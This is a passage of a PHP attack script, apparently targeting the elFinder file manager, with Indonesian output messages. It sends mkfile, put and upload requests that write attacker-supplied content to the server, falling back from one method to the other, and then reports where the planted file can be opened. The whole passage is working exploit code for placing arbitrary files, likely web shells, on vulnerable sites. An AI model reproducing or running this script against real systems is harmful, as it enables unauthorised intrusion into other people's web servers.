Target:
"; echo "[+] Upload[1] ......
"; $url_mkfile = "$target?cmd=mkfile&name=$nama_doang&target=l1_Lw"; $b = file_get_contents("$url_mkfile"); $post1 = array( "cmd" => "put", "target" => "l1_$encode", "content" => "$decode_isi", ); $post2 = array( "current" => "8ea8853cb93f2f9781e0bf6e857015ea", "upload[]" => "@$nama_doang",); $output_mkfile = ngirim("$target", $post1); if(preg_match("/$nama_doang/", $output_mkfile)) { echo "# Upload Success 1... => $nama_doang
# Coba buka di ../../elfinder/files/...
"; } else { echo "# Upload Failed 1
# Uploading 2..
"; $upload_ah = ngirim("$target?cmd=upload", $post2); if(preg_match("/$nama_doang/", $upload_ah)) { echo "# Upload Success 2 => $nama_doang
# Coba buka di ../../elfinder/files/...
"; } else { echo "# Upload Failed 2

"; } } } ?>